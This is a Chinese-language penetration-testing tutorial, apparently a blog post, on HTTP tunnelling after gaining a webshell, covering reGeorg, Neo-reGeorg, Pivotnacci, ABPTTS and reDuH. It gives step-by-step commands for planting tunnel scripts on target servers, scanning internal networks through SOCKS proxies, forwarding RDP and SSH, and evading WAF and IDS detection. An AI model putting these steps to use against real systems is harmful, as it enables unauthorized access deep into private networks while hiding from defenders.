HTTP隧道搭建

在内网渗透测试中,我们常常遇到这样的困境:目标主机位于内网,防火墙仅允许HTTP/HTTPS出站,其他端口都被封锁。这时,HTTP隧道技术就成为突破限制的利器------它通过将其他协议的数据封装在HTTP请求中,实现与内网主机的通信。


一、HTTP隧道技术概述

HTTP隧道的核心原理是在目标服务器上部署一个代理脚本(类似于Webshell),攻击者通过HTTP/HTTPS请求与该脚本通信,脚本再将请求转发到内网其他主机或服务,从而实现内网穿透。

适用场景

  • 目标主机位于内网,无法直接连接

  • 防火墙仅允许HTTP/HTTPS出站

  • 已获取Webshell但无法反弹Shell

  • 需要访问内网中的特定服务(如RDP、SSH、数据库)


二、工具详解

1. reGeorg ------ HTTP隧道的经典之作

reGeorg是SensePost开发的老牌HTTP隧道工具,支持多种语言脚本,能够将内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机。

核心特点

  • 支持PHP、ASP、JSP等多种脚本语言

  • 轻量级,部署简单

  • 在本地建立Socks代理

使用方法

第一步:下载工具

复制代码
git clone https://github.com/sensepost/reGeorg.git
cd reGeorg

第二步:生成并上传隧道脚本

复制代码
# 生成隧道脚本(实际reGeorg的脚本是预置的,无需生成)
# 直接将对应语言的tunnel脚本上传至目标服务器
# 例如:tunnel.php、tunnel.jsp、tunnel.aspx等# 生成隧道脚本(实际reGeorg的脚本是预置的,无需生成)
# 直接将对应语言的tunnel脚本上传至目标服务器
# 例如:tunnel.php、tunnel.jsp、tunnel.aspx等

第三步:启动本地代理服务

复制代码
python reGeorgSocksProxy.py -u http://target.com/tunnel.php -p 1080
-u:指定上传到目标服务器的隧道脚本URL

-p:本地监听的Socks代理端口(默认1080)

第四步:配置代理

复制代码
# Linux配置proxychains
export http_proxy=socks5://127.0.0.1:1080
export https_proxy=socks5://127.0.0.1:1080

# Windows可使用Proxifier或浏览器插件配置Socks5代理

第五步:通过代理访问内网资源

复制代码
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains rdesktop 192.168.1.100

注意事项:reGeorg的通信未加密,可能被安全设备检测。

2. Neo-reGeorg ------ reGeorg的加密升级版

Neo-reGeorg是reGeorg的重构版本,通过加密传输和伪装请求大幅提高了隐蔽性,是目前使用最广泛的HTTP隧道工具之一。

核心优势

  • Base64加密传输,数据变形处理,避免特征检测

  • 支持自定义HTTP响应(如伪装成404错误页)

  • 随机化HTTP指令头

  • 支持多路径分散请求,降低被发现风险

详细使用方法

第一步:安装依赖

复制代码
pip install requests
# 可选依赖
pip install requests[socks]  # Socks5代理支持
pip install curl-cffi        # 提升性能和稳定性

第二步:克隆项目并生成加密隧道脚本

复制代码
git clone https://github.com/L-codes/Neo-reGeorg
cd Neo-reGeorg

# 生成带密码的隧道脚本
python neoreg.py generate -k your_password

执行后会在neoreg_servers/目录下生成多种语言的隧道脚本(tunnel.php、tunnel.jsp、tunnel.aspx、tunnel.ashx等)。

高级生成选项

复制代码
# 自定义HTTP响应(伪装成404页面)
python neoreg.py generate -k password --file custom_404.html --httpcode 404

# 指定输出路径
python neoreg.py generate -k password --outdir ./output

第三步:上传隧道脚本

将对应语言的脚本上传到目标服务器的Web目录(如http://target.com/tunnel.php)。

第四步:客户端连接,建立Socks代理

复制代码
python neoreg.py -k your_password -u http://target.com/tunnel.php

参数说明:

  • -k:连接密码,需与生成时一致

  • -u:隧道脚本URL

  • -l:本地监听地址(默认127.0.0.1)

  • -p:本地监听端口(默认1080)

高级连接选项

复制代码
# 使用代理连接目标
python neoreg.py -k password -u http://target.com/tunnel.php --proxy socks5://127.0.0.1:10800

# 多路径负载均衡(降低检测风险)
python neoreg.py -k password -u /path1/tunnel.php -u /path2/tunnel.jsp

# 自定义Header
python neoreg.py -k password -u http://target.com/tunnel.php -H "User-Agent: Mozilla/5.0" -H "X-Forwarded-For: 127.0.0.1"

第五步:配置代理工具

成功连接后,本地1080端口会开启Socks5代理,可通过proxychains、浏览器插件等工具使用。

注意事项:配置代理时需将Neo-reGeorg本地的流量排除,避免出现死循环。

3. Pivotnacci ------ 支持负载均衡的进阶工具

Pivotnacci是一款受reGeorg启发但功能更强大的HTTP隧道工具,特别适合需要高可靠性和低检测率的场景。

核心优势

  • 支持负载均衡服务器(自动重试)

  • 可自定义轮询间隔(降低检测率)

  • 自动断开已关闭的连接

  • 支持密码保护的代理

  • 完整的Socks4/Socks5支持(包含认证和GSSAPI)

安装方法

复制代码
# 通过pip安装(推荐)
pip3 install pivotnacci

# 或从源码安装
git clone https://github.com/blackarrowsec/pivotnacci.git
cd pivotnacci
pip3 install -r requirements.txt
python3 setup.py install

使用方法

第一步:上传代理脚本

Pivotnacci提供了PHP、JSP、ASPX三种代理脚本,位于项目目录的agents/下。根据需要选择并上传到目标服务器。

第二步:配置代理脚本(可选)

如果需要密码保护,编辑代理脚本文件,修改AGENT_PASSWORD变量:

复制代码
// agent.php
define('AGENT_PASSWORD', 's3cr3t');

第三步:启动Pivotnacci客户端

复制代码
# 基础用法
pivotnacci http://target.com/agent.php --password "s3cr3t"

# 自定义监听地址和端口
pivotnacci http://target.com/agent.php -s 0.0.0.0 -p 8888

# 降低检测率(设置轮询间隔为2秒)
pivotnacci http://target.com/agent.php --polling-interval 2000

# 自定义HTTP头(用于绕过WAF)
pivotnacci https://target.com/agent.jsp -H 'Host: vhost.target.com' -A 'CustomAgent'

# 自定义ACK消息(需与代理脚本中的ACK_MESSAGE一致)
pivotnacci http://target.com/agent.aspx --ack-message "418 I'm a teapot"

# 使用HTTP代理
pivotnacci http://target.com/agent.php --proxy http://proxy.com:8080

参数详解

  • --polling-interval:轮询间隔(毫秒),默认100,增大可降低检测率

  • --request-tries:请求重试次数,用于负载均衡环境

  • --retry-interval:重试间隔

  • --type:强制指定代理类型(php/jsp/aspx)

第四步:使用代理

Pivotnacci默认在本地1080端口开启Socks5代理,配置方法与reGeorg相同。

4. ABPTTS ------ 完整的TCP隧道解决方案

ABPTTS(A Black Path Toward The Sun)是NCC Group开发的一款强大的HTTP隧道工具,能够建立完整的TCP隧道,支持RDP、SSH、Meterpreter等多种协议。

核心特点

  • 完全符合HTTP标准

  • 支持JSP/WAR和ASP.NET两种服务端组件

  • 可建立完整的TCP隧道(不仅是Socks代理)

  • 适合需要稳定长连接的场景

安装步骤

第一步:克隆项目

复制代码
git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS
pip install -r requirements.txt

第二步:生成服务端代码

复制代码
python abpttsfactory.py -o output_dir

此命令会在output_dir中生成服务端文件,包括JSP和ASP.NET两种版本。

第三步:上传服务端到目标

根据目标环境,将对应文件上传到Web目录:

  • JSP环境:上传output_dir/abptts.jsp或打包成WAR上传

  • ASP.NET环境:上传output_dir/abptts.aspx

第四步:配置客户端并建立隧道

ABPTTS的使用分为两步:首先生成配置文件,然后启动客户端。

生成配置文件

复制代码
python abpttsclient.py -u http://target.com/abptts.jsp -C config.txt -f 127.0.0.1:8888 -r 192.168.1.100:3389
  • -u:服务端URL

  • -C:输出配置文件路径

  • -f:本地监听地址和端口

  • -r:远程目标地址和端口(要转发的内网服务)

启动客户端

复制代码
python abpttsclient.py -C config.txt

执行后,访问本地127.0.0.1:8888就相当于访问内网的192.168.1.100:3389(RDP服务)。

应用示例

转发RDP服务

复制代码
# 生成配置
python abpttsclient.py -u http://target.com/abptts.aspx -C rdp.txt -f 127.0.0.1:33389 -r 192.168.1.10:3389

# 启动隧道
python abpttsclient.py -C rdp.txt

# 连接RDP(新终端)
mstsc /v:127.0.0.1:33389

转发SSH服务

复制代码
python abpttsclient.py -u http://target.com/abptts.jsp -C ssh.txt -f 127.0.0.1:2222 -r 192.168.1.20:22
python abpttsclient.py -C ssh.txt
ssh root@127.0.0.1 -p 2222

配置文件示例

复制代码
[ABPTTS]
url = http://192.168.1.119/abptts.aspx
local_ip = 192.168.1.5
local_port = 33389
remote_ip = 192.168.1.119
remote_port = 3389

配置文件可直接编辑修改。

5. reDuH ------ Java编写的端口转发利器

reDuH是一款用Java编写的HTTP隧道工具,特别适合需要转发特定端口(如3389、3306)的场景。它通过Webshell建立隧道,将内网端口映射到本地。

核心特点

  • Java编写,跨平台

  • 支持ASPX、PHP、JSP三种服务端

  • 操作简单,专攻端口转发

  • 适合在只有Web端口开放的环境中使用

使用方法

第一步:上传服务端

reDuH的服务端位于reDuhServers/目录下,根据目标环境选择对应版本上传:

  • reDuh.aspxASP.NET环境

  • reDuh.php:PHP环境

  • reDuh.jsp:JSP环境

上传后得到URL如http://target.com/reDuh.jsp

第二步:启动客户端连接

复制代码
# 进入客户端目录
cd reDuhClient/dist/

# 执行客户端连接
java -jar reDuhClient.jar http://target.com/reDuh.jsp

连接成功后,客户端会提示在本地监听1010端口。

第三步:使用NC连接管理端口

复制代码
# 新开终端,用nc连接本地1010端口
nc -vv 127.0.0.1 1010

成功连接后会看到reDuH的管理提示符。

第四步:创建隧道转发

在nc连接的管理界面中,输入以下命令创建隧道:

复制代码
[createTunnel]本地端口:目标IP:目标端口

例如,转发内网主机的3389端口(RDP):

复制代码
[createTunnel]6666:192.168.1.100:3389

执行后,访问本地的6666端口就相当于访问内网192.168.1.100的3389端口。

第五步:连接目标服务

复制代码
# RDP连接
mstsc /v:127.0.0.1:6666

# SSH连接(如果转发的是22端口)
ssh user@127.0.0.1 -p 6666

注意事项

  • reDuH传输速度较慢,连接RDP时建议降低颜色和质量设置

  • 可同时创建多个隧道,转发不同端口


三、工具对比与选择建议

工具 核心特点 适用场景 优缺点
reGeorg 经典HTTP隧道,Socks代理 通用场景,快速搭建 优点:成熟稳定;缺点:无加密,易被检测
Neo-reGeorg 加密传输,高度隐蔽 需要绕过WAF/IDS的环境 优点:隐蔽性强,功能丰富;缺点:配置稍复杂
Pivotnacci 负载均衡,可调轮询间隔 高可靠性要求,负载均衡环境 优点:抗干扰强,支持认证;缺点:知名度较低
ABPTTS 完整TCP隧道,支持多协议 需要稳定长连接(如Meterpreter) 优点:协议支持全面;缺点:配置步骤多
reDuH Java编写,简单端口转发 只需转发特定端口(如3389) 优点:轻量简单;缺点:功能单一,速度慢

选择建议

  • 如果需要快速建立Socks代理进入内网,首选Neo-reGeorg

  • 如果目标环境有负载均衡或WAF,考虑Pivotnacci

  • 如果需要稳定转发特定服务(如RDP、SSH),ABPTTSreDuH更合适

  • 如果只是为了临时连接一次3389,reDuH最轻量

相关推荐
乾元2 小时前
算力优化: 在有限硬件资源下进行安全模型微调(Fine-tuning)
网络·人工智能·神经网络·安全·web安全·机器学习·安全架构
观书喜夜长2 小时前
OpenClaw 本地安装与 Ollama 大模型接入实战教程-实现无限tokens使用
学习·网络安全
白帽黑客-晨哥3 小时前
Web安全零基础学习
web安全·网络安全·漏洞挖掘·src
湛生3 小时前
pikachu通关笔记
笔记·计算机网络·安全·web安全·网络安全·bp
研究点啥好呢3 小时前
3月13日GitHub热门项目推荐 | AI代理的安全思考
人工智能·安全·网络安全·ai·github·openclaw
乾元3 小时前
Agent 模式: 构建能够自主调用工具的安全智能体
网络·人工智能·安全·网络安全·架构·安全架构
heze094 小时前
sqli-labs-Less-47
数据库·mysql·网络安全
NOVAnet20234 小时前
AI智能体OpenClaw实战:终端安全风险分析与防护实践
网络·人工智能·安全·网络安全·南凌科技
小红卒4 小时前
Go语言安全开发学习笔记5:tls反弹shell升级到C2指令执行马
笔记·学习·网络安全·golang